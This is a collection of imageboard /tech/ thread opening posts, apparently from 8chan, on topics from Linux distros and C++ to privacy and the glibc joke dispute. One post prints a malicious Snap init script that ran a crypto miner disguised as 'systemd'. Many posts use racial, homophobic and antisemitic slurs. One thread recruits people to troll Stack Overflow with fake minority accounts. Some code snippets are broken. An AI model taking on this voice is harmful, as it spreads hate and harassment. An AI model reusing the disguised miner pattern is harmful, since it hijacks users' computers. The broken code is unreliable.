How easy could it be to spy on/track somebody through Discord? Could FBI's trained squad of hired Russian Hackers™ know everything you do through the new hot social media toy?

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There are too many programming languages. Back in the day when most computing breakthroughs were made there were four. People invested in computing could focus on what they were doing instead of bumbling to keep themselves up to date on latest developments to maintain employability.

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Explain this C++ shills

While passing by value was considered shit prior to C++11 it's now okay?

Consider the following:


void foo(HeavyObject obj) {




The compiler will move the argument instead of copying it, correct?

Why is modern C++ such a clusterfuck?

Another example of fuckiness:

HeavyObject foo() {
return HeavyObject{};

int main() {
// URVO kicks in
HeavyObject obj = foo();

// no RVO because lol
HeavyObject obj2{};
obj = foo();

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>see h.265 and its licensing clusterfuck

>decide to make a competing royalty-based codec with a simpler licensing scheme

>royalty-based video codec

>in CY+XX

>make the codec modular for the purpose of removing infringing components from the source code at a moment's notice at the request of (((patent holders)))

Unless any patented shit is intentionally limited to the encoder I can't really tell what they meant by this.

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MX LINUX -- any good?

It's been an week on Ubuntu Mate 18.04 LTS and it has its quirks and annoyances. Before installing it, I played with MX Linux 17. It's super fast and I like the iPhone connectivity out of the box.

Have you got experience with MX Linux?



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When is the new Icecat slated

Yes, yes, I know we have three browser generals on the front page. This thread isn't for shitposting, though.

It's so hard to keep tabs on libre software, since they don't prioritize publicity. As you can tell, ESR 60 was released just a few days ago, so has anyone seen an announcement by the IceCat project whether or not they're going to fork the new release? Obviously it'll take some time, but I've seen no intimation on them even working on it, which is disconcerting.

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There will never be a desktop as functional as Unity with only 500mb of memory usage.


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0 A.D. general

>What is 0 A.D.?

0 A.D. is a free as in freedom, open source game, inspired by Age of Empires 2. It's avaible for Windows, OSx, GNU/Linux and BSD

>Why should I care?

Because it's one of the few good FREE games, it promotes historical accuracy, it's fun to play, it has multiplayer and anyone can contribute to the game, for example if you're an historian you can check the accuracy of the civilizations, propose and help create new ones of the time period, if you can program you can help the team or create a mod yourself, if you have 3D modeling skills you can create new models for the game, etc... without having to ask permission to anyone. The game has a free p2p multiplayer.

>Why do you posted it in this board?

To BTFO all the "hurr durr there is no gayming or leenooks!!!!!".

Personally, I'm not affiliated to the team, but I think the development would be faster if more people play and contribute. Also, it would be nice to have more opponents in multiplayer.


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8ch CSS Thread

Let's make 8chan look good.

Here, I fixed the shitty code blocks for you.

@font-face {
src: url("http://misc.nybergh.net/pub/fonts/terminus/ttf/Terminus.ttf");

/* --- BOX --- */

pre.prettyprint {
padding: 4px !important;
border: 1px solid #444444 !important;
background: #0F0F0F !important;
font-size: 14px !important;

/* --- CODE --- */

/* uncolored text */
span.pln {
color: #AAAAAA !important;
font-family: 'xos4 Terminus' !important;
/* BLUE (keywords) */
.kwd {
color: #6675EA !important;
font-family: 'xos4 Terminus' !important;
/* YELLOW (brackets, semicolons, operators, stuff like that) */
.pun, .opn, .clo {
color: #D5911A !important;
font-family: 'xos4 Terminus' !important;
/* CYAN (numeric values) */
.lit {
color: #00AD9C !important;
font-family: 'xos4 Terminus' !important;
/* GREEN (strings, chars, quoted stuff) */
.str {
color: #5AB738 !important;
font-family: 'xos4 Terminus' !important;
/* MAGENTA (idk) */
.typ {
color: #9566EA !important;
font-family: 'xos4 Terminus' !important;
/* RED (comments) */
.com {
color: #F22C40 !important;
font-family: 'xos4 Terminus' !important;
/* proably nothing */
.pln {
color: #FF0000 !important;
font-family: 'xos4 Terminus' !important;

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>use Clover Dev

>Can visit 8chan

Based floens

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How do you call that thing TV's do when they try to make things 60fps?

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Google View Image Extension Patched?

Everyone should know by now that Google removed the View Image feature from their image search. However, a browser extension called View Image by a guy named Joshua B soon appeared and has worked great... up until now. Looks like Google are doubling down on their stance on the removal of the original feature and have patched their code to prevent the extension from working.

What the fuck is wrong with Google?

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CeBIT and other computer expositions

Has anyone ever been to CeBIT or any other expos? I'm thinking of going next year but I have no idea what to expect.

Dunsparce pic unrelated

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Yet another distro thread

What do you guys think about the #1 on distrowatch list, Linux Mint? Also, my main question in regards of this is, is it a CIAniggers distro? What about its Debian based version, LMDE?

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Firefox to feature sponsored content as of next week


>Mozilla cucks will defend this

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Exotic setups general

Yes, I know this is ridiculous, overkill and borderline insane, but so am I and my paranoia won't let me sleep at night if I don't build something like this. I will also let you know I am no network guy, so if you hear something ridiculous there is that.

The situation:

>I have 7 devices at home: 3 wireless shits and wireless ones. I also have two routers and a ONT.

>I fear at least 5 of those devices could be compromised now (doubtful) or in the future (probable), including one of the routers, which is a shitty ISP-provided one full of backdoors

>Long story short, two of those devices are operated exclusively by me, the rest are operated by my family as well.

>My trusted devices are plugged onto my trusted router, and the others are connected to the other.

>When I am using my devices, I plug my trusted router onto the ONT, and then unplug the untrusted router. The trusted router and the untrusted router have never been in the same network.

<I suspect some hypotetical hyper potent strain of cyberAIDS the untrusted devices could be capable of attacking and compromising the sadly untimely updated trusted router, regardless of VLAN setups, strong passwords, etc.

<I also suspect some of the websites my family could be visiting (think fishy Facebook advanced clickbait trash) could attempt to scan my local network for possible holes to inject the digital gonorrhea in my beloved machines

<What I want to do is to completely isolate the untrusted devices (even between them, so they can't conspire against me) on a physical level via some sort of hardware firewall/router/layer 3 switch that is capable of routing their connections through Tor or some VPN

<This magic box should be connected to a trusted router for WAN access, and reject any and all direct connections to itself or the trusted router except if coming from a special administration network interface/port

What I am attempting to do isn't very hard. Networks like pic related or bastion hosts are very standard and similar to what I want to do. The real problem is implementation. Basically, I require some sort of computer capable of:

>Low energy consumption (probably some ARM shit) because electricity be expensive here yo

>Having two or more Ethernet ports, preferably Gigabit Ethernet, because otherwise isolation will be pure placebo

>Be capable of running a modern distro in it (thought about NixOS because I will probably end up adding more subnetworks with similar needs and being able to deploy changes to all devices at once will be a fucking godsend)

>Be able to VLAN tag packets because my ONT is a bitch

>Preferably cheap. I can blow up some hundreds in this setup but I am sure it can be achieved with way less so I had rather not to

>Obviously this excludes (((CISCO))) shit

Any hardware or software suggestions, or tips I should take into account in my most retarded yet summer venture?

Also, stupid overengineered setups general.

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Online friendships in 2018

Back before all the botnet shit it used to be pretty easy to make friends online with people sharing interests with you. You would join a forum (dead) or play on a game server for a while (dead) and make friends with people around you. These days everything is a Jewish data collecting network (Reddit, Voat, Facebook, twatter) and gaming is all single serving MOBAs with no community.

So how do you go about meeting people who share your interests online now? Can't exactly do it on an anonymous image board.

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GNU/linux smarthphone /genereal/

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GIMP 2.10 released!

GIMP 2.10 is out and it actually seems to be a decent upgrade over 2.8.


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Cryptocurrency Exchange

Are there any crypto exchanges that don't have that stupid selfie requirement?

That just seems fucking ridiculous.

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Why aren't (((you))) wearing the Thinkpad of watches?

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What is going to replace imageboards

At first it was BBS, then it was forums, now it's imageboards, what do you think is going to be the future of shitposting ? Some kind of anonymous twitter asymmetrical 140 char shitposting warfare or a more reddit like approach ?

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nebulet: a microkernel that implements a WebAssembly "usermode" that runs in Ring 0

>Nebulet is a microkernel that executes WebAssembly modules instead of ELF binaries. Furthermore, it does so in ring 0 and in the same address space as the kernel, instead of in ring 3. Normally, this would be super dangerous, but WebAssembly is designed to run safely on remote computers, so it can be securely sandboxed without losing performance.

>Eventually, once the Cretonne compiler matures, applications running on Nebulet could be faster than their counterparts running on Linux due to syscalls just being function calls, low context-switch overhead, and exotic optimizations that aren't possible on conventional operating systems.

>Right now, Nebulet isn't ready to do anything yet, but it'll get there.

>written in Rust


Why aren't you running a WebAssembly microkernel yet, /tech/?

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youtube fucked

I get the same 10 recommendation chains over and over and over again errday


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ThinkPad (and Toughbook) thread

Old one hit 400 posts once again.

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What are some good IRC channels

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>The Internet Archive has put up a massive collection of old MS-DOS games that you can play directly in your browser.

>No need to set up DOSBox or find and install any files, just click and play everything from Duke Nukem 3D to SimAnt to Oregon Trail.


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I'm so sick of people culturally appropriating us

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GNU/Linux is changing drastically

It seems quite clear that GNU/Linux is changing into something radically different from how it's been for the past decade or so. Truly radical changes are coming.


I'm sure a lot of you are GNU/Linux users. How do you show information about your network interfaces? How do you print your routing table? How do you view the arp cache?

Your answers are probably ifconfig, route, and arp. However, these commands we've always known are being depreciated in favor of ones from the iproute2 suite, so in the future you will be typing ip addr, ip route, and ip neigh for those respective functions.



For decades, UNIX and Linux systems have used the X windows system. This is going to, in time, be replaced by Wayland. It's currently too early for a full switchover, but with both the GNOME and KDE projects, plus Debian and Fedora supporting it, it looks like it'll happen sooner than we thought. It's a huge change, and with it completely eliminating screen tearing and having much better security, I think it will be a positive one.


Speaking of security, I'm sure you're all familiar with iptables. Well say goodbye to that, because it's being replaced by nftables. This aims to be better by being more minimal, or rather just putting a lot of the code in userland rather than kernelspace. Also better syntax.


>Application distribution

For the longest time, GNU/Linux users got their software from distro repositories. Despite many users claiming this is the best way to do things, it has had some criticisms. Therefore, there have been a few projects hoping to solve the issues and make the process of getting software more friendly to users of mainstream OSes.




What do you think of these changes? Do you have any examples I may have missed?

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Malware found in Snaps distributed by Ubuntu

Some Snaps (probably all) of Nicolas Tomb contains miner! This is the content of init script of 2048buntu package:




{ # try

/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g

} || { # catch

cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then

/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1


/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2



Issue on github:


All snaps of Nicolas Tomb:



All Snaps of that author were removed from the store.

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Documentation and poor dev practices

Today I had one realized just how stupid documentation has become. UIs have some how got so clunky that basic information is hidden away behind an internet connection that's always assumed to be there.

An example. I installed a custom UI for a game. It added some minor quality of life improvements, nothing major. When you open it, it's just a wall of options with vague names. "Timer", "Health" type options. None of which you can mouse over to get a description of or have any sort of tool tips explaining their purpose. But all this has been written and is accessible on a wiki dedicated to the program.

This is piss poor UI design at it's worst. All the effort was put in to document these things yet not give you access to them. If you were setting it up offline then you're shit out of luck. If the website goes down you're similarly out of luck. It's adding a weak link into the chain which doesn't need to be there.

This has been happening now for a couple of years and it's only getting worse. First documentation was moved to a PDF, now it's outside of the system entirely. It's bizarre how people are some how making UIs worse and worse and then finding ways to make it harder to get round them. I don't believe they have got more autistic because UI designers have always been autistic as fuck. Which means they're getting dumber. Is this where the diversity hires are ending up?

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new /tech/ mumble server

I couldn't help but notice that the /tech/ mumble server is down, so I made a new one! Let me know if you want more channels, etc. This server is self-hosted and will be up in perpetuity.

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What would be the benefit of this in $CURRENT_YEAR?

Its a cute port btw ^_^

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Headphone modding to combat wind noise amplification by ANC

I have some headphones with ANC and they have a flaw: if ANC is enabled, and if there's some wind (it doesn't even have to be strong), the ANC ends up amplifying wind noise, because it hits the microphones disproportionally hard. (this is very loud and nasty) This effect is neutered by wearing a hood on top of the headphones, but this is not practical during hot summers because it's fucking hot.

So I think I may try to glue some shit on top of them, but it needs to only stop wind but let other sounds pass normally, in order to let ANC work as intended. Do you have any good advice for that?

Also how do I identify the microphones locations? Are they under both arrows on the photos?

Did any of you do similar shit or not?

This particular model is Sennheiser PXC 480.

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Is crypto calculators like this accurate ?


also how much bandwidth do you need to run x mount of hashes

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/chip/ General

Hey, anon! Have you taken the chip pill? If you are a real computer enthusiast, you care about working shit at the hardware level, right?

https://www.sparkfun.com/tutorials/93 - getting started with an ATMega328, the basis for the Arduino

http://referencedesigner.com/tutorials/verilog/verilog_01.php Verilog tutorial for FPGA


Getting Started in Electronics

Whatcha buildin', anon? Whatcha want to build?

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Knurling Tech

Knurling is objectively the best manufacturing process, this is not open to debate, but this post serves as a reminder.

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How to store your nuclear secrets?

Would /tech/ store its nuclear development program secrets on binders and CDs in some warehouse that the Mossad sneaked off with docs from?


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>getting rid of python2

>almost completely removing gtk2


All great things that Fedora has done FIRST. There's a reason developers prefer Fedora over other distros. They make out with the old ONLY if there's a better alternative.

(unlike canonicuck with sysv -> upstart)

tl;dr fedora 28 is almost here install it

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At what point would you embrace the botnet?

Microsoft and Google infuriate me with their spyware, but if they made an affordable ai assistant that could do chores, be a friend, make appointments, and even fly you places I would definitely get one

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Best apps in F-droid?

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Nuclear power

What is the best gen IV reactor proposal and why is it the Molten Salt Reactor?

LFTRs fucking when?

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Microsoft has shown us the future where everything in your house is collecting data and sending it back to Microsoft.

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What could they have done to save themselves?

Couldn't they in-theory fork their own Code Morphing Software to simulate architectures other than x86-64 like ARM or PowerPC? Was that not the whole point of the Transmeta concept?

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Why don't the moderation sticks two threads:

one for browsers discussions

one for distro discussions

Then we could end this constant making of threads of these subjects. Else we gonna stay complaining forever.

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PozzOverflow designated trolling thread

As the previous thread


exploded and drowns into bump limit, I still have the troll account which now has almost 100 rep, so if you still have interesting ideas how to further troll SO, post it here.

You might have noticed that "clearly" and "exactly" are offensive words now. Using them over the top is just one possible way to troll; but I need some more ideas.

If you have more time, create your own minority or Pajeet accounts and join the chaos.

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Are you ready to be fired for being an incel?

>get reported at work for "looking like an incel"

>get fired

bestest timeline

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Working on code? Post it here!

Not working on code? Open your sh-compatible shell and type `echo $(( ( RANDOM % 145 ) + 1 ))` to choose a challenge. If you have any more of these programming challenges images, please do share.




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I just created a forum,where i can advertise it? In the era of adblock and other ads blockers is a waste of time?

Should i delete since forums are ancient tech?

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I found an interesting piece of software


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>Privacy concerns about Securus and location services were raised to the F.C.C. last year before the company’s sale to Platinum Equity, a private equity firm, for about $1.5 billion. Lee Petro, a lawyer representing a group of inmate family members, wrote letters urging the commission to reject the deal, based in part on concerns about locating people who spoke with inmates over the phone.

>Securus, founded in Dallas in 1986, has marketed its location service as a way for officials to monitor where inmates placed calls. Securus has said this would block escape attempts and the smuggling of contraband into jails and prisons, and help track calls to areas “known for generating illegal activity.”

>In an email, Securus said the service was based on cell tower information, not on phone GPS.


Why do people want to be tracked like wide eyed nigger cattle?

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Future Technology Repository

Don't be fooled to buy something now, here are some breakthroughs in the foreseeable future.

This thread has the goal of being an archive of sorts, with discussion also.

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Chair Autism

Can we get a thread on chairs? Seriously, we spend most of our lives in the damn things and yet they're never discussed.

At the moment the in fad is to get a "racing chair" thanks to a shit load of sponsorship being given to Twitch streams and E sports faggots. They're not designed for long term use, they're designed to stop you not getting your shit wrecked in a car crash at high speeds. They just found a niche of retards who would eat up the marketing as all "gamer" gimmicks do.

What type of chair would you recommend for maximum comfort? Whats your must have feature on a chair? Is it possible to make a sofa chair that's suitable for desk use?

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>there are programmers defending GDPR and ignoring it will destroy European internet

Are those programmers cucked or they just hate Europe?

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Richard Stallman Talks About Microsoft(R)'s Azure Sphere OS(TM)

He seems to think that as long as they release the source for the GPL'd parts it's fine. I disagree since this is clearly the Extend stage of EEE, but I guess he does have a point.


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Aspect ratio

Discuss what aspect ratio is better for what and who, and why 4:3 beats all of those.

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Was mksh created because some developer was butthurt his shit code was rejected by pdksh or is it a legit superior shell?

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C Is Not a Low-level Language


Or rather, it's only low-level if you run it on a PDP-11. Modern processors use a massive amount of abstraction to make it fast.

C assumes flat memory and sequential execution. Processors don't have those things, but everyone uses C, so they have to pretend they have them just so you can run C fast. Instruction-level parallelism is hard and prone to bugs, but it's the only kind you can use for C without completely changing the language or the way it's used.

Compilers jump through hoops to make it run fast. It's not just undefined behavior, it's also unclear padding rules that even expert C programmers often don't understand, and pointer provenance rules that mean it doesn't just matter what a pointer contains but also where it was made.

Much of the difficulty in parallelism is just about fitting it into C's execution model. Erlang manages to avoid that and makes parallelism a lot easier, but people keep writing C.

Processors could be simpler and faster if they didn't have to layer a fake PDP-11 on top.

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Install Gentoo on SPARC PART II


Will be live in a few minutes...

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Trusty OS: ARMs version of Intel ME


>Android's boot process starts with the firmware*, which loads from a ROM. The exact details of the firmware boot vary between devices and specific architectures (e.g. Qualcomm vs. NVidia).

>As discussed in the book, the standard aboot is derived from the "LittleKernel" project


>LK is the Android bootloader and is also used in Android Trusted Execution Environment - "Trusty TEE" Operating System.


>Trusty is a set of software components supporting a Trusted Execution Environment (TEE) on mobile devices.

>A TEE processor is typically a separate microprocessor in the system or a virtualized instance of the main processor. The TEE processor is isolated from the rest of the system using memory and I/O protection mechanisms supported by the hardware.

>TEE processors have become a mainstay in today's mobile devices. The main processor on these devices is considered "untrusted" and cannot access certain areas of RAM, hardware registers and fuses where secret data (such as device-specific cryptographic keys) is stored by the manufacturer. Software running on the main processor delegates any operations that require use of secret data to the TEE processor.

So from what I gather from the surface;

>Most major SoC makers implement on-chip firmware

>The on-chip firmware consists of an instance of LittleKernel

>LittleKernel supplies the first and second stage bootloaders for Android

>It is also constantly running on a dedicated security processor inside the SoC using TrustZone extensions as part of Trusty OS

>It is responsible for handling cryptographic data and DRM

>All TrustZone processors help implement an "ARM Trusted Firmware" which includes AMDs use of TrustZone


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/mg/ - Software and Hardware Minimalism General

For discussing software and hardware minimalism and minimal computing lifestyle.

>What is computing minimalism?


>Why software minimalism?

- Fewer bugs

- Better performance

- Lower memory footprint

- Better maintainability

- Higher scalability

- Longer software lifetime

- Smaller attack surface

>List of minimal OSes and distros


>Minimal programs lists

Alternatives to Bloatware: https://github.com/mayfrost/guides/blob/master/ALTERNATIVES.md

Window Managers: https://en.wikipedia.org/wiki/Comparison_of_X_window_managers

Suckless: https://suckless.org/rocks

Cat-v.org: http://harmful.cat-v.org/software/

Minimalism is not a lack of something. It's simply the perfect amount of something.

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FLOSS file host under attack from an opressive government


Pomf clone owner charged with distributing CP for simply running a file hosting site. This could set precedent in the EU for file hosts. The owner (lesderid) provided constant transparency reports and showed that he was eager and willing to remove illegal content. Please spread this around to other mediums and donate to protect free speech and stop oppressive governments from identifying users who may disagree with their tyrannical actions.


BTC: 1FBME9hmQ4T1JcqosD5c3eQ3JCAv9YyqZh

Copied and pasted from the provided link:

On 31 May 2017, the Belgian regional police conducted a search and seizure at my dorm. Four police officers stormed into my room, cuffed me, and started opening my drawers and closets. I was told a similar search was being conducted at my parents' home at the same time.

They assumed I knew why this was going on, and when I said I did not, I was served a search warrant. An investigating judge had ordered an investigation and search under the suspicion of possession and distribution of "child pornography".

After being confused for a second, I realised someone must have abused one of my Pomf clones (file hosting services) by uploading and distributing child abuse material.

They confiscated nearly all my electronics (including desktop computers, laptops, phones, tablet, old hard drives, etc.), and also my onaholes (including packaging) and butt plug (no homo).

I was brought to the police station and questioned, and they told me that, indeed, child abuse material had been found on one of my Pomf clones (https://cocaine.ninja), and had been reported to them by INTERPOL (wew).

I was told that my onaholes (fleshlight-like sex toys I had in my dorm room) and hentai might be illegal under a new Belgian law (which took effect in 2016, I believe).

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Why is the left still the format of choice?

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How to do NAT traversal?

I'm writing a server program in Lua, and I want this program to be able to receive connections from behind a NAT. Which is the best protocol to achieve this? It should be supported by most consumer routers.

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Share your ideas, projects and help others

What ideas for programs do you have rattling around in your head?

I've been thinking about creating a simple 3D, vector-graphic, multiplayer FPS in C. Something that I can just work on in my spare time to improve skills in networking, mathematics, abstract thinking, etc... I imagine a complex system of all coordinates that make up the game state being stored synchronously between server and clients. I want to create objects in such a way that each can be affected by the player (e.g. you shoot a brick wall and the "brick" fractures in a certain way while the "mortar" may turn to "dust", or you shoot a bullet that collides with a player's arm and it fractures at the point hit stylistically like glass [think superhot]). It would be nice to create a game that runs incredibly fast but is capable of generating a world of a objects that are non-atomic.

How realistic is this goal?

1. I imagine I will have to settle on some library for handling vector graphics applications in C?

2. I imagine I'll have to pick up a book or two on basic physics and vector mathematics?

3. I'll have to use a library for networking.

4. The most complicated thing seems to be creating the animations for player movement. Everything else is relatively straightforward.

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>Linux has an advanced multi-tasking User Interfa-

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Bases RMS puts back a joke deemed offensive in GCC

>Toward the end of April, Raymond Nicholson posted a patch to the glibc manual removing a joke that he didn't think was useful to readers. The joke played on the documentation for abort() to make a statement about US government policy on providing information about abortions. As Nicholson noted: "The joke does not provide any useful information about the abort() function so removing it will not hinder use of glibc". On April 30, Zack Weinberg applied the patch to the glibc repository.


Fortunately for us RMS is still sane.

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/flpg/ Flip Phone general

Discussion regarding the all-mighty flip phones

>still wasting your hard earned money on a screen that's still too small enough for media consumption

>does what phones are supposed to do

>doesn't fucking die when you drop it

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I have a couple of drawers full of scrap electronics: broken headphones, old mp3 players, electric razors, etc. Do I just throw them in the garbage bin or is there something useful I can do with them?

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Home network set up?

I'm going to be moving out of my place at the end of the month, and all of the networking equipment, save for my little 5 port TP-link GbE switch belongs to my roommate.

Say you had a decent job and a couple hundred dollars saved to spend on networking equipment. What would you buy? Right now, I'm looking at Ubiquiti Networks equipment because of their features/speed/pricepoint. For a firewall, I may run pfSense on dedicated hardware.

What consumer/semi-commercial grade equipment would you recommend? I may opt for PoE APs for convenience as well.

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embedded a meme?


I wanted to talk about the softwares we use every day, and their "embedded" alternatives

Like the core shell software like ls, cat, grep, tar, etc. We usually get those from GNU coreutils.

or the way in which we remotely control our systems, which is normally done through OpenSSH.

well for both of these, theres smaller more minimal alternatives!

Theres busybox, which has a cute name UwU and has all the same programs, but is super tiny because it is a single program that shares code between tools to eliminate code duplication.

And for SSH, theres this cool thing I found called dropbear that offers both server and client components.


These things are obviously meant for embedded use, but my question is: does that really mean anything??

Like.. what are you really losing with these? Would operating systems/distros really suffer if they actually switched over to these? How much work would really be needed to make things compatible if they wouldn't be?

Didn't Debian switch its /bin/sh to dash? That seems to be working out in the end.

Also, can u think of any other cool "embedded" alternatives that could be useful replacements for their bigger brothers, OwO?

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Why aren't you using this, already?

>open source


>not facebook

>true end-to-end

>metadata protection

>build to not require without any internet connection

>looks similar enough to whatsapp to convert family/friends/coworkers away from this data leach

>Tons of more stuff to be added

You have no reason not use this!


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What happened to http://dr.loudness-war.info/

It was a database of DR measurements of music which some of you probably knew.


Now, out of a sudden it changed the design to shitty "modern" "flat" design, and it's shilling (and supporting) a different algorithm for DR measurement which is implemented only in a proprietary tool infested with DRM (which, supposedly, also screws "legitimate customers" as I saw from a quick web search) and the actual algorithm is nowhere to be found.

(On contrary, the previous algorithm was partially available as a PDF file and, with exception of some small errors, it was possible to guess the correct procedure and implement it in a few FOSS tools like https://github.com/magicgoose/simple_dr_meter)

What was the reason for a change?

Is a metric any good if it's not possible to independently implement the algorithm? (And thus not possible to understand what does it actually measure)

Does anyone know what does this "new and improved measuring algorithm" actually do?

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LibbieOS - Libbie The Free Virtual Assistant

this idea of mine has been floating around for a while, I have doubts on how well this will be received but I'll be glad if you guys like it.



LibbieOS, AKA "Libbie - The Free Virtual Assistant", is a linux distro designed to work as a free alternative to Siri/Cortana/Alexa. No need to worry about government snoops or corporate stooges watching you at every turn, Libbie does what you ask of her and doesn't need to hide anything from you!


The purpose of this distro is to provide a small operating system for embedded devices to function as a free replacement to Alexa. LibbieOS has a series of scripts that can be inputted through voice commands or text terminals to do various functions for whatever you want.

LibbieOS is based on Gentoo Linux, and can be tailored for your needs the way you want it to be.

Example Commands

run <Program>
volume <number or command>
search "<query>"
remind_me_about <date> <time>
set_alarm_for <date> <time>
help <subject>

Author's Notes

I have far too many neat ideas, too little time, and burn out on motivation. Besides, this idea was way too fun to keep holed up in my head, and I wanted to share this with you guys.

by the way, "normal" is relative.

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What is some cool useful shit you've done with a raspberry pi ? I have two lying around and I don't know what I should use them for.

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why do "women" like webdesign so much. I dont understand the great appeal myself. doesnt seem like great fun to fuck around with some shit formatting language and some shit scripting language to make something.

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Why people can't differentiate free software from open source?

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Dr. Richard Stallman VS No fun allowed snowflakes

tl;dr: faggot tries to sneakily remove a joke made by rms in the abort documentation of glibc, rms tells him to fuck off. Problem is rms is the project leader and a bunch of cucks want to remove all fun from from /tech/ lest someone feel a bit of enjoyment on finding an unexpected joke.

The toxic triggering text: "Future Change Warning: Proposed Federal censorship regulations may prohibit us from giving you information about the possibility of calling this function. We would be required to say that this is not an acceptable way of terminating a program."


>The removal of an old joke from the GNU C Library manual might not seem like the sort of topic that would inspire a heated debate. At times, though, a small action can serve as an inadvertent proxy for a more significant question, one which is relevant to both the developers and the users of the project. In this case, that question would be: how is the project governed and who makes decisions about which patches are applied?

>Toward the end of April, Raymond Nicholson posted a patch to the glibc manual removing a joke that he didn't think was useful to readers. The joke played on the documentation for abort() to make a statement about US government policy on providing information about abortions. As Nicholson noted: "The joke does not provide any useful information about the abort() function so removing it will not hinder use of glibc". On April 30, Zack Weinberg applied the patch to the glibc repository.

>Richard Stallman, who added the joke sometime in the 1990s, asked that it not be removed. The resulting discussion touched on a number of issues. Carlos O'Donell, who has been trying hard to resolve the issue with some degree of consensus, suggested that the joke could hurt people who have had bad experiences associated with abortion. He proposed a couple of possible alternatives, including avoiding jokes entirely or discussing such issues in a different forum. Stallman, however, replied that "a GNU manual, like a course in history, is not meant to be a 'safe space'". He suggested the possibility of adding a trigger warning about functions that create child processes, since childbirth is "far more traumatic than having an abortion".

>Whether the joke belongs in the glibc manual is an issue for the glibc developers to decide and wouldn't normally be of much interest beyond the project itself. But in this case, it raises the question of how the developers make this decision. The project's wiki states that the project "uses a consensus-based community-driven development model". In this case, there seems to be a fairly clear consensus among the actual glibc developers that this joke is not appropriate in the project's manual. Weinberg's application of the patch was based on this consensus.

>Stallman, however, has made it clear that there are limits to the extent to which glibc is consensus-based; his response was: "My decision is to keep the joke". Weinberg stated his refusal to revert the change; Stallman answered: "I stand by my decision to keep the joke". O'Donell apologized for not contacting Stallman directly about the removal, but also stood by the decision to remove it. He asked:

>A large group of developers, serious senior developers, at least 3 project stewards (GNU Developers for the project), are indicating that they do not share your same view on the joke. Please consider their input and work with me to reach a consensus position.

>Weinberg defended his application of the patch:

>I don't think I did anything wrong procedurally. RMS may be the project leader, but he is not a glibc maintainer. His wishes regarding glibc are perhaps to be given _some_ more weight than those of any other individual, particularly when he is also the author of text under dispute, but we have never, to my knowledge, treated them as mandates.

>Stallman was unimpressed, though, and fell back to a pure authority play, saying: "As the head of the GNU Project, I am in charge of what we publish in GNU manuals. I decide the criteria to decide by, too". He later added:

>I exercise my authority over Glibc very rarely -- and when I have done so, I have talked with the official maintainers. So rarely that some of you thought that you are entirely autonomous. But that is not the case. On this particular question, I made a decision long ago and stated it where all of you could see it.

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would it be possible to make a byte exact copy of a BlueRay disk by extracting the data strait from the lens of the disk player and writing it on an HDD ?

the purpos here is obviously to bypass disk copy protections.

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Am I paranoid?

I want to start a wordpress blog my thoughts on certain things (philosophical, political) and I'm held back by thinking this data will somehow be processed. My writing style, ideas and associations will inevitably make a profile of me.

I know that that's the point of a blog but my question is - is it safe?

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AMD FX cpu's

People say the FX processors are so obsolete. Is that really true? How obsolete, and by what? I mean, how big of an upgrade is Ryzen over FX?

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Paths to getting off this train

so in the anticonsumerism thread, one of the OP's points was

>boycott evil jewish companies with anti-consumer behavior (Intel, AMD, Nvidia, ARM)

now what he meant was buy used second hand stuff instead of getting the new releases from these companies, but I want to discuss the possiibility of getting off this train completely, namely getting away from x86.

I dont know about ARM. It certainly seems a bit better, and as soon as that management meanie changes his mind/dies/gets fired, ARM is gonna be a lot more of an attractive platform.

from https://lwn.net/Articles/738225/

>Now somebody else is making progress with the older GPUs, but nobody is working on current-generation devices. It was said that everybody within ARM is in favor of solving the problem by open-sourcing ARM's driver — except for one recalcitrant high-level manager.

theres also the trustzone thing, but idk if thats an issue or just fearmongering

What about MIPS? we don't hear much about that one. is there anything good for that?

I saw that Lemote still sells stuff uwu. If you don't remember them they made that netbook that Stallman used to use


mainly motherboards and processors now. How would we be able to get this stuff as non-chinese people?

If you got a lot of money, theres always TALOS II. It's a POWER9 workstation.


probably the best thing u can get if u can afford.

I've been looking at used POWER, SPARC, and Itanium stuff. You can get POWER6, POWER7, POWER8, old sun stuff, Oracle T4 and T5, some Fujitsu models, and various HP Itanium servers.

can be found on ebay and some other places. Might be worth checking out if you need a server, but i imagine these would be way too loud and whatnot to be used as a desktop.

Of course theres RISC-V. OwO I want this stuff! Main one to look at would be lowRISC, which will at least initially be a pi-type SBC. I definitely plan to buy this and make a cute little NAS or something out of it. Support it guys! ^.^


what do u guys think? any suggestions or things to look out for?

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I guess net neutrality didn't matter at all?

All that up voting for nothing.

How come normies just blindly trust big cooperations?


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/csg/ Chinkshit General

Basically that: post /tech/ stuff you bought from china lately

I got some phone screwdrivers, pretty good tho the box is shit and I can tell the plastic is gonna crack any day now.

I plan to buy a xiaomeme redmi note 5 but I need to find a way around our fucking mail system that takes between 2-3 months to deliver anything and charges (i shit you not) 70% taxes on imports, and because they are supreme cunts they calculate those taxes on the price + shipping cost

And they say yessweden is socialist and we're capitalist...

>inb4 why no image

Tor posting, can't upload

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Electronics-recycling innovator is going to prison for trying to extend computers' lives

>A Southern California man who built a sizable business out of recycling electronic waste is headed to federal prison for 15 months after a federal appeals court in Miami rejected his claim that the "restore discs" he made to extend computers' lives had no financial value, instead ruling that he had infringed on Microsoft Corp. to the tune of $700,000.

>The appeals court upheld a federal district judge's ruling that the discs Eric Lundgren made to restore Microsoft operating systems had a value of $25 apiece, even though the software they contained could be downloaded free and the discs could only be used on computers that already had a valid Microsoft license

>Initially, federal prosecutors valued the discs at $299 each, or the cost of a brand new Windows operating system, and Lundgren's indictment alleged he had cost Microsoft $8.3 million in lost sales. By the time of sentencing, a Microsoft letter to Hurley and a Microsoft expert witness had reduced the value of the discs to $25, stating that was what Microsoft charged refurbishers for the discs.

>Lundgren pleaded guilty but argued that the value of his discs was zero, so there was no harm to anyone. Neither Microsoft nor any computer manufacturers sell restore discs. They supply them free with new computers, and make the software available for free downloading, for those who have paid for the software and received a license — typically a sticker with a "certificate of authenticity" number on it. Lundgren said that he was trying to make the discs available again for those who needed them, and that they could only be used on licensed computers.

TLDR: Califaggot made a bunch of discs that give you a fresh install of Windows, and only work with a valid copy of Windows, because tech illiterate normalfags can fix their PCs at no cost, gets sued and sent to jail



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What will anti cheating look like in the future?



Now that cheating is supported at the hardware level by big players how will technology keep up to make sure games stay fair?

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Google Duplex: An AI System for Accomplishing Real World Tasks Over the Phone

Google AI can hold and book conversations over the phone.

Now all of you NEETs too shy to call people can order your food even from restaurants that don't have web-ordering.

